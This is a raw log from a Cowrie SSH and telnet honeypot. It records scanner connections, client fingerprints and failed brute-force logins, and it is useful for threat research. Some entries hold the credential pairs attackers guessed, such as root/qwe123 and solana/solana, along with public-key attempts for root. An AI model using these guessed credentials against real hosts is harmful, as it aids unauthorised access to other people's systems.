{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56118,"dst_ip":"10.17.0.5","dst_port":22,"session":"767773d745ea","protocol":"ssh","message":"New connection: 103.15.226.202:56118 (10.17.0.5:22) [session: 767773d745ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:57.243655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:57.248591Z","src_ip":"103.15.226.202","session":"767773d745ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:57.506339Z","src_ip":"103.15.226.202","session":"767773d745ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Florian123","message":"login attempt [root/Florian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:58.268439Z","src_ip":"103.15.226.202","session":"767773d745ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:59.526951Z","src_ip":"103.15.226.202","session":"767773d745ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24945,"dst_ip":"10.17.0.5","dst_port":23,"session":"2102375d6844","protocol":"telnet","message":"New connection: 212.55.149.117:24945 (10.17.0.5:23) [session: 2102375d6844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:52:17.157821Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57065,"dst_ip":"10.17.0.5","dst_port":23,"session":"168b14fd7ea8","protocol":"telnet","message":"New connection: 212.55.149.117:57065 (10.17.0.5:23) [session: 168b14fd7ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:52:27.222867Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46644,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf090504322","protocol":"ssh","message":"New connection: 80.94.92.186:46644 (159.203.135.109:22) [session: adf090504322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:53:38.978565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:53:39.220423Z","src_ip":"80.94.92.186","session":"adf090504322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:53:39.223373Z","src_ip":"80.94.92.186","session":"adf090504322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:53:40.675756Z","src_ip":"80.94.92.186","session":"adf090504322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:53:41.977268Z","src_ip":"80.94.92.186","session":"adf090504322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52075,"dst_ip":"10.17.0.5","dst_port":23,"session":"8454979df301","protocol":"telnet","message":"New connection: 212.55.149.117:52075 (10.17.0.5:23) [session: 8454979df301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:54:01.674221Z"}
{"eventid":"cowrie.session.closed","duration":120.0062484741211,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:54:17.163950Z","src_ip":"212.55.149.117","session":"2102375d6844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.49106931686401,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:54:25.713841Z","src_ip":"212.55.149.117","session":"168b14fd7ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.860708236694336,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:04.534812Z","src_ip":"212.55.149.117","session":"8454979df301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":59493,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6768c19216","protocol":"telnet","message":"New connection: 212.55.149.117:59493 (10.17.0.5:23) [session: ab6768c19216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:18.869522Z"}
{"eventid":"cowrie.session.closed","duration":0.01427316665649414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:18.883501Z","src_ip":"212.55.149.117","session":"ab6768c19216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38600,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b22d862e696","protocol":"ssh","message":"New connection: 103.15.226.202:38600 (10.17.0.5:22) [session: 2b22d862e696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:34.976949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:34.981918Z","src_ip":"103.15.226.202","session":"2b22d862e696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:35.230562Z","src_ip":"103.15.226.202","session":"2b22d862e696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:35.972347Z","src_ip":"103.15.226.202","session":"2b22d862e696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:55:37.224124Z","src_ip":"103.15.226.202","session":"2b22d862e696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63544,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb641b9cf943","protocol":"telnet","message":"New connection: 212.55.149.117:63544 (10.17.0.5:23) [session: cb641b9cf943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:56:15.014956Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe268620b01","protocol":"ssh","message":"New connection: 179.61.232.245:46562 (10.17.0.5:22) [session: abe268620b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.260385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.266061Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.295640Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:37:11:b4:19:ba:cb:86:46:b5:cb:9e:31:8c:49:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSTkW5lVWT0RPZ5UUt07y/mnpqaod54BjpHUvQVv9dRLl21aH56oygvhtt/x6IkzdN/KoYqIgtL4jsj4QpUOUUoWjJrN/nNcczMAqPoZGrL2eoCuukc9Bmo1shxJTmre4Mt1F/L4iP3h1FFDxZToNWrQ7Yrh+SGnyI9C/dfkSoL3Pwc1ezFqwFVJnJh/RJruqs+wOeAIH2Df8e7s6ZSV0fjA2UFwnc6nZ+QnMayF7SXPOlaQzshbuWxI+5ts22Lee3AORJWLGyaNx4Plgtpo+YuSeVQgGpkLi18wsG527WQR428oHma3XiGlkBU3Ziq8wxu41suiWyN0WtHtsZez37","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:37:11:b4:19:ba:cb:86:46:b5:cb:9e:31:8c:49:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.410452Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:37:11:b4:19:ba:cb:86:46:b5:cb:9e:31:8c:49:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSTkW5lVWT0RPZ5UUt07y/mnpqaod54BjpHUvQVv9dRLl21aH56oygvhtt/x6IkzdN/KoYqIgtL4jsj4QpUOUUoWjJrN/nNcczMAqPoZGrL2eoCuukc9Bmo1shxJTmre4Mt1F/L4iP3h1FFDxZToNWrQ7Yrh+SGnyI9C/dfkSoL3Pwc1ezFqwFVJnJh/RJruqs+wOeAIH2Df8e7s6ZSV0fjA2UFwnc6nZ+QnMayF7SXPOlaQzshbuWxI+5ts22Lee3AORJWLGyaNx4Plgtpo+YuSeVQgGpkLi18wsG527WQR428oHma3XiGlkBU3Ziq8wxu41suiWyN0WtHtsZez37","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.414643Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:9b:70:73:fa:0e:dd:b2:4c:9e:1a:7f:95:d0:d3:ce","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO2D3853HlpaN/TyDECje/dieQ4PXu3+GeppHEsD5IdDWzK94jpofVbC+/r9JCrEHt5wxWeVX5s4RIyiIxUn6vKaU6Ocbk88wdFUNT6ub5IwSWgz+0wdcCIZC188+rR+O8BNJFp0AFeLLNdp05KpCgvtjm3FgqSaRiGL2RsfY2oNAAAAFQCnADWRKhvBlbAiQYv2LSAJT/DU5QAAAIBqe8qF8UIoXvmSf/KwFHeymyGAswTLlYE4ZyYu6f7eQbpZKogZ0YifHijqhG5A1QqDmI57Qq63ml2Kv1bPS2eYXVhJsKmqz9kW7XlAML8qgK6Jh0ZMloFRlygSB4Tw2cuTenwG5ZYdjeeTcU4Z6silS7qAaCRlVP7lMzag9cZdVQAAAIEA0q6/LJNZwgqtqOU1k/Nf/dpvBaF9DvE8AnLHuT0Lprx+BDebA7oEQ/NakkpB4SSAhl0fEKgAMEPoa5k/SzqSQJnm284hRTJksRHwsZwc+PIpT65H5AMm+30vE85d3QT23Ba3H14AsgyVqBTwocIak9uNFGr+qO2KR4c5ytGoMBg=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ac:9b:70:73:fa:0e:dd:b2:4c:9e:1a:7f:95:d0:d3:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.443026Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:9b:70:73:fa:0e:dd:b2:4c:9e:1a:7f:95:d0:d3:ce","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO2D3853HlpaN/TyDECje/dieQ4PXu3+GeppHEsD5IdDWzK94jpofVbC+/r9JCrEHt5wxWeVX5s4RIyiIxUn6vKaU6Ocbk88wdFUNT6ub5IwSWgz+0wdcCIZC188+rR+O8BNJFp0AFeLLNdp05KpCgvtjm3FgqSaRiGL2RsfY2oNAAAAFQCnADWRKhvBlbAiQYv2LSAJT/DU5QAAAIBqe8qF8UIoXvmSf/KwFHeymyGAswTLlYE4ZyYu6f7eQbpZKogZ0YifHijqhG5A1QqDmI57Qq63ml2Kv1bPS2eYXVhJsKmqz9kW7XlAML8qgK6Jh0ZMloFRlygSB4Tw2cuTenwG5ZYdjeeTcU4Z6silS7qAaCRlVP7lMzag9cZdVQAAAIEA0q6/LJNZwgqtqOU1k/Nf/dpvBaF9DvE8AnLHuT0Lprx+BDebA7oEQ/NakkpB4SSAhl0fEKgAMEPoa5k/SzqSQJnm284hRTJksRHwsZwc+PIpT65H5AMm+30vE85d3QT23Ba3H14AsgyVqBTwocIak9uNFGr+qO2KR4c5ytGoMBg=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.446991Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:c3:16:e5:16:49:24:f8:2d:5f:78:8a:cb:2a:c1:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/mZob/csnIvNH718RMJwAkDJrXTNPHh1fFSEUGAUOwDtdt+4zgvsRikdjY0+4XkRSAm/RDvk2vnCAqbZ9PDbbFNMuA032f+emyUScwQ5Fvqt737uLcl5Z/bZ/Xu09g0oRsueEQQIGw1/x5lSHtGGWzMctHH/wSoZPAIQK3p51dzyPijK0ubX9slT9pzN5lMM6peZaktsQtVvvuKeoNcgGlBF5v869K5l4+3bKsK0Q+xn+9opEmpJkok7tGdDMLxHLIAGwl9x3wGxNrnNCMj95vhfymFdAqZrH/u9ZExtZJjebTc+qevlYAdOkVZ+k/VN/e2m3LC47/ZnTfzpZXW7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:c3:16:e5:16:49:24:f8:2d:5f:78:8a:cb:2a:c1:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.475370Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:c3:16:e5:16:49:24:f8:2d:5f:78:8a:cb:2a:c1:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/mZob/csnIvNH718RMJwAkDJrXTNPHh1fFSEUGAUOwDtdt+4zgvsRikdjY0+4XkRSAm/RDvk2vnCAqbZ9PDbbFNMuA032f+emyUScwQ5Fvqt737uLcl5Z/bZ/Xu09g0oRsueEQQIGw1/x5lSHtGGWzMctHH/wSoZPAIQK3p51dzyPijK0ubX9slT9pzN5lMM6peZaktsQtVvvuKeoNcgGlBF5v869K5l4+3bKsK0Q+xn+9opEmpJkok7tGdDMLxHLIAGwl9x3wGxNrnNCMj95vhfymFdAqZrH/u9ZExtZJjebTc+qevlYAdOkVZ+k/VN/e2m3LC47/ZnTfzpZXW7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.479863Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:d0:f7:38:dd:e9:5d:d5:1c:b6:4d:b8:f1:ab:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGQHywNWDqosx7N8/Bn24W7g4YbCQSXBl5QVKCvzdCdcAQOga1qupvWq5S+4hIKPmDz57QDcMPUevNYRvvCb8GpxKV2nr7lQIiq6Ywx/AzHerPhs1Jj1S3m9/IZRIR0mBjkJrS3qdJiEBzh0jnlyiqXcyysWGELfJivCzRKELg5T+zCpeRFJHQYHguh+ViS9n3JBbzXthd6hrt5OIWO1/8/npip2iLVci5sZ8Q/HETxrYDh/Xh26eUfqBswzxZ3HB628gol64dtcoUT0ZTICpp0k7lQ/1mTLmNdv9/KFkMfERccypUNH6eExYt1lK+uVKjidhg6oMkbbUv3X/NvkMR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:d0:f7:38:dd:e9:5d:d5:1c:b6:4d:b8:f1:ab:06:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.508430Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:d0:f7:38:dd:e9:5d:d5:1c:b6:4d:b8:f1:ab:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGQHywNWDqosx7N8/Bn24W7g4YbCQSXBl5QVKCvzdCdcAQOga1qupvWq5S+4hIKPmDz57QDcMPUevNYRvvCb8GpxKV2nr7lQIiq6Ywx/AzHerPhs1Jj1S3m9/IZRIR0mBjkJrS3qdJiEBzh0jnlyiqXcyysWGELfJivCzRKELg5T+zCpeRFJHQYHguh+ViS9n3JBbzXthd6hrt5OIWO1/8/npip2iLVci5sZ8Q/HETxrYDh/Xh26eUfqBswzxZ3HB628gol64dtcoUT0ZTICpp0k7lQ/1mTLmNdv9/KFkMfERccypUNH6eExYt1lK+uVKjidhg6oMkbbUv3X/NvkMR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.512715Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:e2:3d:12:0b:23:90:b6:01:2c:21:76:f1:6a:1b:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzX1IMp5MdFyY89yWCzI7R+/osrgCazjzeW+pnGbpH6zjGg/8mRbZduaAz78UqrTHWa1iad5oM8TG2jrGPS84l99356VoSzuPhZ399jXR9dMSOABcPyeNeCRkdM7mcrM6triZw7tp17nLyG6D/iVIlo+WC1lIy5WFmLRZBFbWATNUXYTtXycJgY/7Qr8q7Dqgxsxyw9nwB7IqAer5XpkPFh0rWiMwgHn6++gp1VF74Cpx91gKaqOB/CzvJ93b8XyEEvUWSrEUqZsH1gHpPGTEYuNMKfVUHu3Tz1XcTg7r4IGhVhNm9sSqUIdC0lTddknys6hA76kz8LAFjy2fPkuRf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:e2:3d:12:0b:23:90:b6:01:2c:21:76:f1:6a:1b:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.542186Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:e2:3d:12:0b:23:90:b6:01:2c:21:76:f1:6a:1b:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzX1IMp5MdFyY89yWCzI7R+/osrgCazjzeW+pnGbpH6zjGg/8mRbZduaAz78UqrTHWa1iad5oM8TG2jrGPS84l99356VoSzuPhZ399jXR9dMSOABcPyeNeCRkdM7mcrM6triZw7tp17nLyG6D/iVIlo+WC1lIy5WFmLRZBFbWATNUXYTtXycJgY/7Qr8q7Dqgxsxyw9nwB7IqAer5XpkPFh0rWiMwgHn6++gp1VF74Cpx91gKaqOB/CzvJ93b8XyEEvUWSrEUqZsH1gHpPGTEYuNMKfVUHu3Tz1XcTg7r4IGhVhNm9sSqUIdC0lTddknys6hA76kz8LAFjy2fPkuRf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:57:00.546546Z","src_ip":"179.61.232.245","session":"abe268620b01","protocol":"ssh"}
